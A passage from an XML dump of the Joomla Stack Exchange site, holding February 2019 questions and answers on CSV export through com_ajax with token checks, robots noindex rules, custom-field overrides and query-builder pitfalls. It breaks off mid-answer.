  <row Id="24285" PostTypeId="1" AcceptedAnswerId="24287" CreationDate="2019-02-20T08:43:20.567" Score="4" ViewCount="1899" Body="&lt;p&gt;So I've been handed a custom administrator module which simply displays database table data in an HTML table.  My task is to create a clickable button on the module that will generate the csv data on the fly and force the download of the same content as an excel document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/21272723/2943403&quot;&gt;Andrew Eddie recommends these solutions&lt;/a&gt;, but I don't know how/where to implement them so that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can authenticate that the downloading user is, in fact, the same logged in user with permission (I don't want someone to be able to learn the url and be able to directly access this private data.  I assume a token is the best tool for this)&lt;/li&gt;&#xA;&lt;li&gt;I can enjoy the Joomla query builder methods to gather the necessary data&lt;/li&gt;&#xA;&lt;li&gt;I can avoid displaying any other administrator (menu dom) content with my generated data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It could divert to a different static method like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get-&amp;gt;get('export', 0, 'int'))&#xA;{&#xA;    mod[modname]Helper::exportToExcel();&#xA;}&#xA;else&#xA;{&#xA;    mod[modname]Helper::displayAsHTML();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function exportToExcel()&#xA;{&#xA;    header(&quot;Content-type: text/csv&quot;);&#xA;    header(&quot;Content-Disposition: attachment; filename=Some_Report_&quot; . JFactory::getDate()-&amp;gt;format('Y_m_d_h_i_s') . &quot;.csv&quot;);  // @ https://docs.joomla.org/How_to_use_JDate it looks like someone got a bit spastic with the percent signs  (bookmarked for upcoming Pizza, Bugs, &amp;amp; Fun)&#xA;    header(&quot;Pragma: no-cache&quot;);&#xA;    header(&quot;Expires: 0&quot;);&#xA;&#xA;    // get my db data and echo it as csv data&#xA;&#xA;    // Close the application gracefully.&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in doing so, my csv data is appended to the earlier loaded content -- no good.  I wasn't able to &lt;code&gt;ob_&lt;/code&gt; the other content out; and I don't even know if this is a good approach to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom administrator module that I am looking at is as basic as it gets with files like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mod_[modname].php&lt;/li&gt;&#xA;&lt;li&gt;helper.php        (previoius dev does all processing and displaying from here)&lt;/li&gt;&#xA;&lt;li&gt;tmpl/default.php  (previous dev didn't output anything from here)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My plan is to use javascript to append a button after the module's title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 class=&quot;module-title nav-header&quot;&amp;gt;[the module's title] [add my button here]&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I don't know is: Where do I park my new code and how should I craft the destination url to access it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to learn how to write this custom code with the correct architecture and best practices in mind for my own education.  I'm hoping someone is going to blow my mind with some elegant Joomla magic.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-06-14T07:34:51.423" Title="How to create a custom script to force the download of a .csv file that is generated in real time?" Tags="|custom-module|download|csv|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24286" PostTypeId="2" ParentId="24285" CreationDate="2019-02-20T09:57:17.467" Score="4" Body="&lt;p&gt;Regarding clearing the output buffer, some time ago I had a similar issue and this solved the issue, at least for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Close output buffers till the level reaches 0&#xA;    while (ob_get_level() &amp;gt; 0)&#xA;    {&#xA;        ob_end_clean();&#xA;    }&#xA;&#xA;    // Start capturing output into a buffer&#xA;    ob_start();&#xA;&#xA;    // Content to export&#xA;    echo $toExport;&#xA;&#xA;    // Get the buffer and clear it&#xA;    $fileContent = ob_get_contents();&#xA;    ob_end_clean();&#xA;&#xA;    // Echo will start the download&#xA;    echo $fileContent; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2019-02-20T10:35:10.890" LastActivityDate="2019-02-20T10:35:10.890" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24287" PostTypeId="2" ParentId="24285" CreationDate="2019-02-20T09:57:57.500" Score="5" Body="&lt;p&gt;If this needs to be done by the module (there's no accompanying component or the component is 3rd party and you can't touch it), use &lt;code&gt;com_ajax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point the form to &lt;code&gt;com_ajax&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_ajax&quot;&amp;gt;&#xA;    &amp;lt;?php // Module name without mod_ prefix ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;module&quot; value=&quot;custom&quot;&amp;gt;&#xA;    &amp;lt;?php // Output format. CSV is not supported, use raw ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;format&quot; value=&quot;raw&quot;&amp;gt;&#xA;    &amp;lt;?php // Add session token ?&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Download&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create &lt;code&gt;getAjax()&lt;/code&gt; method in your module's helper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getAjax()&#xA;{&#xA;    $app = Factory::getApplication();&#xA;&#xA;    // Check for request forgeries&#xA;    if (!$app-&amp;gt;getSession()-&amp;gt;checkToken())&#xA;    {&#xA;        $app-&amp;gt;enqueueMessage(Text::_('JINVALID_TOKEN'));&#xA;        $app-&amp;gt;redirect('index.php');&#xA;    }&#xA;&#xA;    // Check for user permissions (only example)&#xA;    if (!Factory::getUser()-&amp;gt;authorise('core.admin'))&#xA;    {&#xA;        $app-&amp;gt;enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'));&#xA;        $app-&amp;gt;redirect('index.php?option=com_users&amp;amp;view=login');&#xA;    }&#xA;&#xA;    self::exportToExcel();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-20T09:57:57.500" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24288" PostTypeId="2" ParentId="9416" CreationDate="2019-02-20T12:20:45.060" Score="0" Body="&lt;p&gt;If your query is meant to return just one value per row, then you are wanting to return a &quot;column&quot; of data.  This is best packaged as an indexed, one-dimensional array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadColumn.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadColumn()&lt;/a&gt; is the best tool for the job.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;user_id&quot;)&#xA;    -&amp;gt;from(&quot;#__users_usergroup_map&quot;)&#xA;    -&amp;gt;where(&quot;group_id = &quot; . $db-&amp;gt;quote($usergroup));&#xA;$db-&amp;gt;setQuery($query);&#xA;$ids = $db-&amp;gt;loadColumn();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-02-20T12:20:45.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24289" PostTypeId="1" CreationDate="2019-02-21T09:30:50.790" Score="1" ViewCount="63" Body="&lt;p&gt;I'm running a simple site based on Joomla. The SEF URLs are defined by SH404SEF and look like &lt;code&gt;https://[domain]/[category]/[sub category]/[article title alias].html&lt;/code&gt;.&#xA; In some cases there is a 1-to-1 relationship between category and article but in some cases one category has several articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suddenly I have URLs requesting &lt;code&gt;https://[domain]/table/[category]/[sub category]/&lt;/code&gt;. Not only do these new URLs in some cases create 404s, they also view my articles in the wrong way and when there is not a 1-to-1 relationship between category and article the link adds several articles on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct non-SEF URL ends with &lt;code&gt;&amp;amp;view=article&lt;/code&gt; and the new, incorrect non-SEF URL ends with &lt;code&gt;&amp;amp;view=category&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no &lt;code&gt;table/&lt;/code&gt; in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;my correct URLs&lt;/li&gt;&#xA;&lt;li&gt;any internal link&lt;/li&gt;&#xA;&lt;li&gt;the articles' html code&lt;/li&gt;&#xA;&lt;li&gt;menu items&lt;/li&gt;&#xA;&lt;li&gt;my sitemap.xml.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've discussed this with the few extension providers that I am using and none of them see their extension as doing this new request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to find out what is making these requests?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot make a redirect for these URLs because all of them correspond to several articles (instead of just one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you see any risk with making a rewrite rule that puts a 410 on all URLs that starts with &lt;code&gt;table/&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="120" LastEditDate="2019-07-31T09:38:29.130" LastActivityDate="2019-07-31T09:38:29.130" Title="Suddenly URLs with &quot;table/&quot;" Tags="|joomla-3.x|articles|url|category|sh404sef|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24293" PostTypeId="1" AcceptedAnswerId="24312" CreationDate="2019-02-21T20:20:52.567" Score="1" ViewCount="717" Body="&lt;p&gt;Anyone who can tell me how I can disable the component users to provide search engines the noindex, means:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=robots content=&quot;noindex&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example in all Joomla instances, the URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/component/users/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a common way to set the noindex?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-02-25T18:12:27.220" Title="How to set noindex on components" Tags="|component|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24294" PostTypeId="2" ParentId="24293" CreationDate="2019-02-21T23:38:52.573" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;robots.txt&lt;/code&gt; file to disallow the indexing. Try using this directive in your &lt;code&gt;robots.txt&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *    &#xA;Disallow: /*?option=com_users*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;cons&lt;/strong&gt; of this approach is that not all search engines crawlers observe the wildcard syntax. I think this will do the trick with the major ones (Google, Bing and Yahoo). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://webmasters.googleblog.com/2008/06/improving-on-robots-exclusion-protocol.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://developers.google.com/search/reference/robots_txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; useful articles about robots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way that you could try is in every menu item, that calls the com_users component, in the &lt;em&gt;metadata&lt;/em&gt; tab, set the &lt;em&gt;robots&lt;/em&gt; option to &lt;em&gt;No Index&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2019-02-21T23:47:59.990" LastActivityDate="2019-02-21T23:47:59.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24295" PostTypeId="1" CreationDate="2019-02-22T07:34:08.257" Score="2" ViewCount="781" Body="&lt;p&gt;I have a Joomla-site with a lot of extra-fields in custom fields area. When I edit my articles the long list of fields is quite confusing. So I thought I could be a good idea to show the custom fields in backend in two columns like it is in the &quot;images and links&quot;-tab. Don't know what I mean. Look here for an example: &lt;a href=&quot;https://i.stack.imgur.com/dbpvk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbpvk.jpg&quot; alt=&quot;Custom-fields backend&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could write my own override for the template, but where the hell is the view of fields-tab in backend built up? The individual fields are in a container named &quot;control-group&quot; but I don't find the pivotal file in /administrator/components/com_fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody please help me out of this dilemma? Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2021-06-12T20:02:55.283" Title="Joomla - Custom fields in Backend - Template override" Tags="|administrator|template-override|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24296" PostTypeId="2" ParentId="24295" CreationDate="2019-02-22T08:04:53.710" Score="2" Body="&lt;p&gt;Custom Fields are added to forms by &lt;code&gt;System - Fields&lt;/code&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before doing template override I suggest checking out Field Groups feature. Each field group has its own fieldset which results in a separate tab in form view:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CsrIP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CsrIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this solution doesn't suit you, you can override form view layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_content/views/article/tmpl/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the override add &lt;code&gt;fields-0&lt;/code&gt; fieldset to ignored fieldsets array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;ignore_fieldsets[] = 'fields-0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then render the fields manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'fields', JText::_('JGLOBAL_FIELDS')); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid form-horizontal-desktop&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('field-1', 'com_fields'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('field-2', 'com_fields'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also combine both methods to avoid having to render each field by name and instead use fieldsets (field groups). E.g. create two field groups, assign fields to them. In the override exclude the groups:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;ignore_fieldsets[] = 'fields-1';&#xA;$this-&amp;gt;ignore_fieldsets[] = 'fields-2';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then render them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'fields', JText::_('JGLOBAL_FIELDS')); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid form-horizontal-desktop&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-1'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-2'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-02-22T08:10:12.173" LastActivityDate="2019-02-22T08:10:12.173" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24298" PostTypeId="1" AcceptedAnswerId="24319" CreationDate="2019-02-22T09:17:30.970" Score="0" ViewCount="505" Body="&lt;p&gt;I have an override for the category/blog.php layout and i want to display a headerimage and a subtitle with the custom fields introduced in joomla 3.7. For this implementation I already use Joomla 3.9.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already used custom fields in articles and it works fine, but not in categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this to work I limit this to the subtitle. On the screenshot you can see I added a custom field &quot;subtitle&quot; to Category and finally the input field for the subtitle will be placed only in categories (and not in articles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V0HYw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V0HYw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to display the custom field like the ones in my articles in the other override in category/blog_item.php (-&gt; &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;, Section &quot;Loading individual fields&quot;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // File location: /templates/templatename/html/com_content/category/blog.php&#xA;&#xA;    // loop first to make the fields easy to reference via the field name as a key&#xA;    foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield):&#xA;        $this-&amp;gt;item-&amp;gt;customFields[$jcfield-&amp;gt;name] = $jcfield;&#xA;    endforeach;&#xA;&#xA;    echo $this-&amp;gt;item-&amp;gt;customFields['subtitle']-&amp;gt;label;&#xA;    echo $this-&amp;gt;item-&amp;gt;customFields['subtitle']-&amp;gt;name;&#xA;    echo $this-&amp;gt;item-&amp;gt;customFields['subtitle']-&amp;gt;value;&#xA;    echo $this-&amp;gt;item-&amp;gt;customFields['subtitle']-&amp;gt;rawvalue;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried it with this code and only the name and the label of the custom field &quot;subtitle&quot; is displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    foreach(FieldsHelper::getFields('com_content.categories', $child) as $field) :&#xA;         $child-&amp;gt;customFields[$field-&amp;gt;name] = $field;&#xA;    endforeach;&#xA;&#xA;    echo $child-&amp;gt;customFields['subtitle']-&amp;gt;label;&#xA;    echo $child-&amp;gt;customFields['subtitle']-&amp;gt;name;&#xA;    echo $child-&amp;gt;customFields['subtitle']-&amp;gt;value;&#xA;    echo $child-&amp;gt;customFields['subtitle']-&amp;gt;rawvalue; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="13353" LastEditorUserId="13353" LastEditDate="2019-02-26T15:02:28.140" LastActivityDate="2019-02-27T11:06:04.633" Title="Joomla custom fields for category - subtitle &amp; headerimage" Tags="|joomla-3.x|custom-field|category-blog|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24300" PostTypeId="2" ParentId="20997" CreationDate="2019-02-22T19:44:09.953" Score="0" Body="&lt;p&gt;None of the proposed solutions work. The jMailer &lt;code&gt;return&lt;/code&gt; value is a headache because you can't catch exceptions or even know the type of the &lt;code&gt;send()&lt;/code&gt; return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If success returns a boolean &lt;code&gt;true&lt;/code&gt;; if not it returns a Jexception object, the two outcomes loosely evaluate as boolean true values!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way I found is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $mail-&amp;gt;Send();&#xA;if ($result === true)  return true;&#xA;else  return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13355" LastEditorUserId="12352" LastEditDate="2019-02-22T21:25:28.300" LastActivityDate="2019-02-22T21:25:28.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24302" PostTypeId="1" AcceptedAnswerId="24303" CreationDate="2019-02-23T00:27:57.503" Score="3" ViewCount="219" Body="&lt;p&gt;I'm taking it upon myself to become aware of some of the lesser known/used query methods because I like toying with MySQL and I want to implement Joomla calls when possible/sensible -- because they were made to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this question, I'm referring to:&lt;br&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/query/mysqli.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/query/mysqli.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current list of methods are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;__toString()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;processLimit()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;concatenate()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;setLimit()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;regexp()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Rand()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;selectRowNumber()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;castAsChar()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I've seen &lt;code&gt;__toString()&lt;/code&gt; and &lt;code&gt;setLimit()&lt;/code&gt; used with some frequency, and I have not yet discovered any hiccups with &lt;code&gt;processLimit()&lt;/code&gt; or &lt;code&gt;selectRowNumber()&lt;/code&gt; that are not outright typo scenarios.  For these reasons, I'll avoid discussion on these four methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To phrase as a question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kinds of pitfalls should I be aware of while calling: &lt;code&gt;concatenate()&lt;/code&gt;, &lt;code&gt;regexp()&lt;/code&gt;, &lt;code&gt;rand()&lt;/code&gt;, and &lt;code&gt;castAsChar()&lt;/code&gt; in sql queries?&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-07-22T21:57:54.607" Title="Issues to be aware of when calling `concatenate()`, `regexp()`, `rand()`, and `castAsChar()` in sql queries" Tags="|joomla-3.x|mysql|sql|bugs|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24303" PostTypeId="2" ParentId="24302" CreationDate="2019-02-23T00:27:57.503" Score="4" Body="&lt;p&gt;All of my demonstrations will assume this line is already declared:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will also provide a &quot;guinea pig&quot; table as a demo reference and playground for researchers when sample data is necessary for context.  (&lt;a href=&quot;https://www.db-fiddle.com/f/tAJMAu5axhwNeibzDyFXXZ/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;db-fiddle.com demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__calendar` (&#xA;  `id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `month` varchar(100) NOT NULL,&#xA;  `color` varchar(100) NOT NULL,&#xA;  `total` int(11) NOT NULL,&#xA;  `status` varchar(10) NULL,&#xA;  PRIMARY KEY (`id`),&#xA;  UNIQUE KEY `month` (`month`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8;&#xA;&#xA;INSERT INTO `#__calendar` (`id`, `month`, `color`, `total`, `status`) VALUES&#xA;(1, 'January', 'red', 234, 'active'),&#xA;(2, 'February', 'red-orange', 998, 'inactive'),&#xA;(3, 'March', 'orange', 10, 'active'),&#xA;(4, 'April', 'orange-yellow', 718, null),&#xA;(5, 'May', 'yellow', 11, 'active'),&#xA;(6, 'June', 'yellow-green', 209, 'active'),&#xA;(7, 'July', 'green', 315, 'active'),&#xA;(8, 'August', 'green-blue', 8, 'inactive'),&#xA;(9, 'September', 'blue', 555, 'active'),&#xA;(10, 'October', 'blue-violet', 188, 'active'),&#xA;(11, 'November', 'violet', 39, 'active'),&#xA;(12, 'December', 'violet-red', 711, 'inactive');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| id  | month     | color         | total | status   |&#xA;| --- | --------- | ------------- | ----- | -------- |&#xA;| 1   | January   | red           | 234   | active   |&#xA;| 2   | February  | red-orange    | 998   | inactive |&#xA;| 3   | March     | orange        | 10    | active   |&#xA;| 4   | April     | orange-yellow | 718   |          |&#xA;| 5   | May       | yellow        | 11    | active   |&#xA;| 6   | June      | yellow-green  | 209   | active   |&#xA;| 7   | July      | green         | 315   | active   |&#xA;| 8   | August    | green-blue    | 8     | inactive |&#xA;| 9   | September | blue          | 555   | active   |&#xA;| 10  | October   | blue-violet   | 188   | active   |&#xA;| 11  | November  | violet        | 39    | active   |&#xA;| 12  | December  | violet-red    | 711   | inactive |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/tAJMAu5axhwNeibzDyFXXZ/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;View on DB Fiddle&lt;/a&gt;&#xA;Here is a list that I have compiled that reveals possible/likely issues and misunderstandings that may be encountered while calling methods from the &lt;code&gt;$query&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Chaining an Undeclared Object&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you are used to chaining from the &lt;code&gt;$query&lt;/code&gt; variable declaration, you will likely hit a snag if you want to call a method from within a chained method.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($query-&amp;gt;rand());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Error: &lt;strong&gt;0 Call to a member function rand() on null&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instead, you need to first declare &lt;code&gt;$query&lt;/code&gt; object as a variable before you can call a (un-chained) method from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Declare &lt;code&gt;$query&lt;/code&gt; then chain to your heart's content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($query-&amp;gt;rand());  // output: 0.28479570456295805&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Null Parameters With concatenate()&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;concatenate()&lt;/code&gt; conditionally calls one of two MySQL functions.  If you provide a non-falsey (not an empty, false, null, or zero value) as the second parameter, &lt;code&gt;CONCAT_WS()&lt;/code&gt; will be called, otherwise &lt;code&gt;CONCAT()&lt;/code&gt;.  